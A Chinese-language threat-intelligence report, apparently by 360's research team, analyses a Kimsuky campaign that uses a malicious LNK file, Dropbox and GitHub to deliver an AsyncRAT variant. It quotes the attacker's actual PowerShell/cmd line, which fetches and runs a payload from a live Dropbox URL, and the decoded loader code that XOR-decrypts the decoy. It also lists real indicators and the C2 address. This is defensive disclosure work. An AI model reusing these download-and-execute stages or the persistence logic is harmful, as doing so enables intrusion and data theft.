APT-C-55(Kimsuky)组织依托GitHub+Dropbox分发恶意载荷的攻击活动分析
- 2026-05-20 11:11:17
APT-C-55(Kimsuky),又被称为BabyShark等,最早由Kaspersky在2013年公开披露。该组织长期针对朝鲜半岛目标国家的政府机构、外交部门、智库、媒体以及学术机构开展网络攻击活动,随后其攻击范围逐步扩大至包括北美洲、欧洲及其他地区的目标。Kimsuky组织主要以情报窃取为核心目的,持续通过鱼叉式网络钓鱼等方式获取敏感信息。
近年来,该组织在攻击手法上不断演进,常利用恶意文档(如HWP、Office宏文件)、脚本加载器、LNK文件以及多阶段载荷等方式进行入侵,并结合自研恶意工具与开源工具实施持久化控制。尽管其活动多次被安全厂商披露,但该组织依然保持较高活跃度,持续调整战术与技术手段,在隐蔽性和攻击链复杂度方面呈现不断增强的趋势。
一、攻击活动分析
1. 攻击流程分析

Kimsuky通过lnk文件发起钓鱼攻击。用户点击运行后,lnk文件携带的脚本会从自身解密出诱饵文件并打开,以此迷惑受害者,同时从Dropbox下载taskschd.vbs脚本执行恶意功能,该vbs继续从攻击者的Github仓库下载downloader脚本执行,downloader继续下载两个powershell脚本,功能分别是上传受害者电脑基本信息到攻击者仓库,同时创建计划任务执行taskschd.vbs,另一个ps1脚本下载加密数据并解密出AsyncRAT变体用于窃取敏感信息。
2. 载荷投递分析
本次捕获样本名为“중국 CMG 인터뷰.docx.lnk”(中国 CMG 访谈.docx.lnk),具体信息如下:
MD5 | ba8e682a72c6a3e634c070f0fb057bf5 |
文件大小 | 156 KB (159,744 字节) |
文件名 | 중국 CMG 인터뷰.docx.lnk |
受害者一旦点击运行“중국 CMG 인터뷰.docx.lnk”文件,便会通过PowerShell执行如下脚本:
$se='MJQye[D $key=3; for($i=0;$i -le $se.Length;$i++) { $v+=[System.Text.Encoding]::ASCII.GetString($se[$i]-3) }; $b = [System.Convert]::FromBase64String($v); $c = [System.Text.Encoding]::UTF8.GetString($b); $c; $sb = [scriptblock]::Create($c); & $sb; "&cd /d "%appdata%\Microsoft\MMC" & copy c:\windows\system32\curl.exe TMP0392.exe & TMP0392.exe -k -L -o taskschd.vbs "https://www.dropbox.com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&st=ip1rnvm2&dl=0" &attrib +h taskschd.vbs &taskschd.vbs&exit |
这段脚本主要有两个功能。第一个功能是打开伪装文档。具体是这样的:首先将硬编码的变量$se每个字符ASCII编码值减去3,然后进行Base64解码,最终执行得到UTF-8编码的下一阶段脚本,解码后的脚本如下。
$comp=0; $shopping='length'; $sunday=Get-Location; $notify=&(gcm *et-Child*) *.lnk; //查找lnk文件 $notify=$notify|where-object{$_.$shopping -eq 0x0260F8};//定位大小为0x0260F8的lnk文件 $monkey=$notify; $notify=$notify|Select-Object -ExpandProperty Name; if([string]::IsNullOrEmpty($notify)) { $comp=1; $sunday=$env:USERPROFILE; $sunday=$sunday+'\appdata\local\temp'; $notify=Get-ChildItem -Path $sunday -Recurse -Filter *.lnk|where-object{$_.$shopping -eq 0x0260F8}|ForEach-Object{$_.FullName}|Select-Object -First 1; $monkey=$notify };//获取在%temp%目录定位此文件(大小为0x0260F8字节) $oil=$notify.substring(0,$notify.length-4); $wire=[System.IO.BinaryReader]::new([System.IO.File]::open($notify,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read)); //读取文件 try { $wire.BaseStream.Seek(0x00001B58,[System.IO.SeekOrigin]::Begin); $snow=$wire.ReadBytes(0x06972);//从0x00001B58处读取0x06972大小的数据 }finally { $wire.Close() }; $black=0; $chair=0; $body=$snow.count; while ($black -lt $body) { $chipper=0x26; $date=($chipper+$black%2)%0x100; $snow[$black]=$snow[$black] -bxor $date; $black++ };//xor解密载荷 [System.IO.File]::WriteAllBytes($oil,$snow); if($comp -eq 1){ $book=$oil |
这段代码的功能是在当前目录或者临时目录定位大小为0x0260F8字节(156KB)的LNK文件,也就是名为“중국 CMG 인터뷰.docx.lnk”的文件,然后从偏移量 0x00001B58处读取0x06972字节(约27KB)数据。最后使用XOR算法解密出诱饵文件并打开。诱饵文档如下:

第二个功能是拷贝curl.exe为TMP0392.exe,然后通过TMP0392.exe从远程地址“https[:]//www.dropbox.com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&st=ip1rnvm2&dl=0”下载“taskschd.vbs”文件。最后将“taskschd.vbs”加隐藏属性后执行,以避免受害者发现。

3. 攻击组件分析
3.1. 脚本组件
“taskschd.vbs”是一个VBS脚本文件,信息如下:
MD5 | d9d7d5feb2abc828b58142fc63509d80 |
文件大小 | 1.52 KB (1,562 字节) |
文件名 | taskschd.vbs |
该脚本是一个被混淆之后的VBS脚本,攻击者通过Replace函数增加了大量的干扰分析的内容,经过去混淆之后,“taskschd.vbs”文件内容如下,该文件功能就是从“https[:]//raw.githubusercontent.com/shantez4/EDGTy/refs/heads/main/hawek.ini”处下载目标文件,并保存“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”,然后WMI隐秘执行该bat脚本文件。

“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”是一个bat批处理文件,具体信息如下:
MD5 | 23da5ff2ed7bd4ac5a2a148afc037b6a |
文件大小 | 499 字节 (499 字节) |
文件名 | a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat |
“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”文件的功能是分别从dropbox.com和github.com两个公共存储平台下载文件分别保存到“Eudksref.ps1”和“Eudksre.ps1”,然后通过PowerShell执行“Eudksre.ps1”文件。

“Eudksre.ps1”文件信息如下:
MD5 | 849ddfdba810b251522690d51475a359 |
文件大小 | 3.12 KB (3,199 字节) |
文件名 | Eudksre.ps1 |
“Eudksre.ps1”的主要功能是读取“https://raw.githubusercontent.com/shantez441/EDGTy/refs/heads/main/fox.png”内容,然后使用修改过的RC4解密算法解密“fox.png”文件内容,然后通过.Net反射加载的方式执行解密之后的.Net载荷。
Eudksref.ps1信息如下:
MD5 | 45b6b7dadc13e4a4cc30dd82eb58c3ed |
文件大小 | 1.63 KB (1,677 字节) |
文件名 | Eudksref.ps1 |
“Eudksref.ps1”是一个PowerShell脚本,该脚本首先创建一个名为“GoogleUpdateTaskMachineUA{1C791230-CA8D-6D04-AC55-F706378A30E}”计划任务,用于持久化执行“taskschd.vbs”,然后会收集机器相关信息,包括系统信息,用户本地应用数据目录,进程列表,并将这些数据编码之后发送到Github平台进行保存。
3.2. PE 组件
“Eudksre.ps1”通过反射加载的方式执行一个.Net组件,该文件不落地,原始文件名为“rTom.exe”,经分析发现该文件为AsyncRAT变种木马。
MD5 | 0d8ceb7dea7d471afa2f8e753b13d2d6 |
文件大小 | 2.24 MB (2,355,200 字节) |
文件名 | rTom.exe |
Timestamp | 2026-03-17 08:21:28 |
当程序运行之后首先通过互斥避免多开。

在完成必要的socket初始化之后,连接C2服务器(112.216.9.171: 3385)

随后恶意程序会采集受害主机的用户名、操作系统信息、木马程序自身版本、当前运行权限是否为管理员、前台活动窗口标题等多类设备与运行状态信息,完成信息汇总后主动回传至服务端。

然后恶意程序在接收到服务端返回的数据后,会调用回调函数clsiesockesdfwe.ReadServertData对返回内容进行处理,首先校验当前网络连接状态是否正常,确认无异常后再读取全部返回数据并暂存到缓冲区。

接着创建线程,调用Packet.Read函数进行处理,该函数是一个插件管理器,具有执行插件(plugin)和保存插件(savePlugin)的功能。

如果执行的是plugin功能,则首先判断本地是否保存有该插件,如果有该插件,便直接内存加载执行即可,如果没有该插件则先向服务端请求插件信息。

savePlugin功能的原理是将插件的Hash信息和二进制数据(以Hash为键名,以插件的字节数据为键值相对应)保存到注册表中。

攻击者前期采用分层投递的轻量化攻击战术,释放的恶意样本仅回传受害主机的基础环境与身份信息,后续可以根据回传的主机信息做定向筛选,仅针对符合预设攻击目标条件的受害主机,才会进一步下发各类专用功能插件开展深度信息搜集,这种按需加载的阶段化攻击设计,能够大幅压缩初始载荷的恶意特征面,最大程度避免攻击链路提前暴露。
二、攻击者仓库分析
通过下载链接https[:]//raw.githubusercontent.com/shantez4/EDGTy/refs/heads/main/hawek.ini,我们对攻击者github账号进行了分析,发现该账号于2026年1月份创建,随后在二月份创建项目仓库,并上传恶意代码。


在对仓库样本进行深入分析时发现,仓库内的PNG文件都是加密恶意载荷。这些文件均采用与前文一致的RC4密钥进行加密处理。对其解密后进一步分析表明,这些载荷均属于AsyncRAT家族,推测为基于AsyncRAT开源代码进行二次开发,具体表现在通信协议、配置结构及功能模块上进行了定制化修改,体现出攻击者在持续迭代其工具链的过程。
此外,在仓库中还发现攻击者的测试样本,这些样本很可能用于功能测试或开发调试阶段。

最后我们还发现部分受害者信息也已上传到github仓库,如下所示。
三、归属研判
经深度发现本次攻击方式和Kimsuky组织以往TTP存在较大关联,具体表现如下所示:
1.自我们披露Kimsuky组织利用GitHub作为载荷平台的攻击方式以来[1],该组织一直保留这种攻击方式。
2.本次利用.docx.lnk的文件作为攻击入口,同时lnk执行恶意载荷的文件名含有“setting.ini”等字符串,这和以往攻击方式类似。
3.lnk读取自身数据解密出诱饵文档以及使用powershell脚本执行C#程序的方式也和该组织以往利用方式符合,并且AsyncRAT变体在该组织之前的攻击活动中也被使用过[2]。
4.样本上传地为韩国地区,分析受害者信息我们发现和之前攻击行动存在相同受害者。
综上,我们较有把握将本轮攻击行动归属到APT-C-55(Kimsuky)组织。
总结
本次攻击中Kimsuky组织通过滥用合法平台作为通信与分发通道,下发恶意载荷并回传窃取数据,从而有效规避了传统基于特征与流量行为的网络检测与响应(NDR)机制。这类“以合法掩护恶意”的方式,使攻击流量在表面上与正常业务通信高度相似,大幅降低了被识别与拦截的概率。同时,攻击者采用插件化、模块化的木马架构,在初始入侵后可按需动态加载不同功能模块(如信息窃取、横向移动等),从而实现更隐蔽且灵活的攻击流程。
此外本文披露的相关恶意代码、C&C只是APT-C-55组织近期部分攻击过程中的所使用的载荷,该组织不会因为一次攻击行动的暴露而停止活动,反而会持续更新其载荷。在这里提醒用户加强安全意识,不要执行未知样本、点击来历不明的链接等,否则容易在毫无防范的情况下被攻陷,进而泄漏机密文件、重要情报。附录 IOC
MD5:
ba8e682a72c6a3e634c070f0fb057bf5
bd17b8b10675031cec05c0cd8a001fac
0d8ceb7dea7d471afa2f8e753b13d2d6
d9d7d5feb2abc828b58142fc63509d80
e0e4aec6d494fe68cdaa52d6878a8366
b406ea5b8628cb7801f47c0189b96182
23da5ff2ed7bd4ac5a2a148afc037b6a
45b6b7dadc13e4a4cc30dd82eb58c3ed
73ff669fc282653bd6c42cf87ade9337
02ebc2356f9f700bbdac444cdefa0da2
849ddfdba810b251522690d51475a359
IOC:
https://www.dropbox[.]com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&st=ip1rnvm2&dl=0
https://raw.githubusercontent[.]com/shantez41/EDGTy/refs/heads/main/hawek.ini
https://www.dropbox[.]com/scl/fi/q59g50jxsw5jjviup83tl/help.ini?rlkey=mu99taspiwvvuyuoy1fpf2232&st=kn296823&dl=1
https://raw.githubusercontent[.]com/shantez441/EDGTy/refs/heads/main/qdke.ini
https://raw.githubusercontent[.]com/shantez441/EDGTy/refs/heads/main/fox.png
112.216.9[.]171:3385
112.216.9[.]171:7707
参考链接:
[1] https://mp.weixin.qq.com/s/GzMoR8jKjelzuj5BPhpJYA
[2]https://jp.security.ntt/insights_resources/tech_blog/darkplum-asyncrat/
360高级威胁研究院
360高级威胁研究院是360数字安全集团的核心能力支持部门,由360资深安全专家组成,专注于高级威胁的发现、防御、处置和研究,曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击,独家披露多个国家级APT组织的高级行动,赢得业内外的广泛认可,为360保障国家网络安全提供有力支撑。
360官网:www.360.cn